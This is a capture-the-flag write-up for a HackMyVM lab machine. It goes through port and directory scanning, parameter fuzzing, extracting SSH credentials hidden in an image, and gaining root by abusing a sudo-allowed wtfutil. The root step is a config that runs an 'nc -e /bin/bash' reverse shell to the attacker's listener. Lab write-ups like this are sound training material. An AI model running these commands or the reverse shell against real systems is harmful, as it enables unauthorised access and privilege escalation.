

## Lets start with the usual nmap scan

sudo nmap -sC -sV -p- -oA nmap/art target

```
-(kali®kali)-[~/hmv/art]
└$ sudo nmap -sC -sV -p- -oA nmap/art target
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-02 22:02 CDT
Nmap scan report for target (10.0.2.18)
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh
                     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
    3072 45:42:0f:13:cc:8e:49:dd:ec:f5:bb:0f:58:f4:ef:47 (RSA)
    256 12:2f:a3:63:c2:73:99:e3:f8:67:57:ab:29:52:aa:06 (ECDSA)
    256 f8:79:7a:b1:a8:7e:e9:97:25:c3:40:4a:0c:2f:5e:69 (ED25519)
                    nginx 1.18.0
80/tcp open http
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:70:27:DA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds
zsh: segmentation fault sudo nmap -sC -sV -p- -oA nmap/art target
```

What a fancy website! Here's what's in the source code. Maybe it's a hint for the future

```
1 SEE HMV GALLERY!
2 <br/>
2 <br/>
3 <img src=abc321.jpg><br>><img src=jlk19990.jpg><br>><img src=ertye.jpg><br>><img src=zzxxccvv3.jpg><br>>
4 <!-- Need to solve tag parameter problem. -->
5
```

Lets see if there are any directories.

gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,jpg,xml

```
-(kali⊛kali)-[~/hmv/art]
 _$ gobuster dir -u http://target -w <mark>/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium</mark>
.txt -x html,php,txt,jpg,xml
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                              http://target
[+] Method:
                              GET
                              10
   Threads:
                              /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Wordlist:
   Negative Status codes:
                              404
                              gobuster/3.1.0
   User Agent:
[+] Extensions:
                              html,php,txt,jpg,xml
[+] Timeout:
2022/10/02 22:05:27 Starting gobuster in directory enumeration mode
/index.php
                      (Status: 200) [Size: 170]
2022/10/02 22:06:56 Finished
```

Hmm... doesn't look like there is anything, unless I missed an extension. Lets try fuzzing the website to see if this tag parameter problem leads to a vulnerability.

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -
u http://target/index.php?FUZZ=id -fs 170
```

```
(<mark>kali⊕kali</mark>)-[~/hmv/art]
 -$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://target/i
ndex.php?FUZZ=id -fs 170
       v1.5.0 Kali Exclusive
 :: Method
                     : GET
                      : http://target/index.php?FUZZ=id
 :: URL
 :: Wordlist
                     : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
    Follow redirects : false
    Calibration
                     : false
 :: Timeout
                      : 10
 :: Threads
                     : 40
                      : Response status: 200,204,301,302,307,401,403,405,500
 :: Matcher
                      : Response size: 170
 :: Filter
                         [Status: 200, Size: 70, Words: 11, Lines: 5, Duration: 5ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
```

Cool! Lets see what it does.

```
1 SEE HMV GALLERY!
2 <br>3
4 <!-- Need to solve tag parameter problem. -->
```

Hmmm... doesn't appear to do much. Maybe we can fuzz the parameter to see if we get any different results.

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u
http://target/index.php?tag=FUZZ -fs 70

```
(kali®kali)-[~/hmv/art]
  -$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://target/in
dex.php?tag=FUZZ -fs 70
         v1.5.0 Kali Exclusive
  :: Method
                            : GET
 :: URL
                            : http://target/index.php?tag=FUZZ
 :: Wordlist
                           : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
  :: Follow redirects : false
 :: Calibration : false
                            : 10
  :: Timeout
                            : 40
  :: Threads
 :: Matcher
                            : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter
                           : Response size: 70
[Status: 200, Size: 170, Words: 15, Lines: 5, Duration: 13ms]
beauty
[Status: 200, Size: 93, Words: 12, Lines: 5, Duration: 12ms]
beautiful
[Status: 200, Size: 170, Words: 15, Lines: 5, Duration: 12ms]
:: Progress: [107982/107982] :: Job [1/1] :: 3155 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
beautiful
```

Lets see where these take us. It looks like '0' and 'beautiful' show us what we've already seen, but 'beauty' shows an image that we haven't seen before. Maybe there is something in this image?

```
curl http://target/dsa32.jpg -o goat.jpg
stegseek goat.jpg

(kali@ kali)-[~/hmv/art]
$ stegseek goat.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""

[i] Original filename: "yes.txt".

[i] Extracting to "goat.jpg.out".
```

Looks like we got something! Let's take a look.

```
(kali@ kali)-[~/hmv/art]

stat goat.jpg.out
lion/shel0vesyou
```

Login creds? Let's try SSH.

```
-(kali®kali)-[~/hmv/art]
∟$ ssh lion@target
The authenticity of host 'target (10.0.2.18)' can't be established.
ED25519 key fingerprint is SHA256:6icD/Bw7zNCkO/tjgVhzyYMGZkZVKkOvOlpNVvcBQo0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'target' (ED25519) to the list of known hosts.
lion@target's password:
Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 3 11:18:18 2022 from 192.168.1.51
lion@art:~$ 🏻
```

Awesome! And we got a user flag! Let's see what else we can do :P

Looks like we can run /bin/wtfutil as root, but this doesn't look like a standard binary file.

Further research leads me to believe it's a program written in Golang that is a nifty information terminal. Let's take a look at the source code and see if we can find anything interesting.

So, after digging around for some time, and looking at the terminal that wtfutil generates, it appears that it can run commands. Let's see if we can offer ourselves a shell using one of these command areas. We can pick a place to run the config from

```
lion@art:/tmp$ wtfutil -h
Usage:
 wtfutil [OPTIONS] [command] [args...]
Application Options:
 -c, --config= Path to config file
 -m, --module= Display info about a specific module, i.e.: 'wtfutil -m=todo'
 -p, --profile Profile application memory usage
 -v, --version Show version info
Help Options:
 -h, --help Show this help message
Commands:
 save-secret <service>
                Service URL or module name of secret.
 Save a secret into the secret store. The secret will be prompted for.
 Requires wtf.secretStore to be configured. See individual modules for
  information on what service and secret means for their configuration,
 not all modules use secrets.
```

We are going to put our arguments into the 'uptime' module. We'll use a simple netcat reverse shell.

Let's stand up our listener and see if it works!

```
/home/lion/.cor
GNU nano 5.4
     left: 2
      height: 1
      width: 1
    refreshInterval: 15
    title: "> "
  textfile:
    enabled: true
   filePath: "~/.config/wtf/config.yml"
    format: true
    position:
      top: 0
      left: 0
     height: 4
      width: 1
    refreshInterval: 30
    wrapText: false
  pwned:
    args: ["-e", "/bin/bash", "10.0.2.15", "1234"]
   cmd: "nc"
    enabled: true
    position:
      top: 3
     left: 1
      height: 1
      width: 2
    refreshInterval: 30
    type: cmdrunner
```

Bingo-bango-bongo! We've got root! But a new problem has arisen: the root.txt isn't where it normally is. I'll leave the rest to you to find it;)

```
(kali⊗ kali)-[~/hmv/art/wtf_0.41.0_linux_amd64]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.18] 37562
whoami
root
id
uid=0(root) gid=0(root) grupos=0(root)
```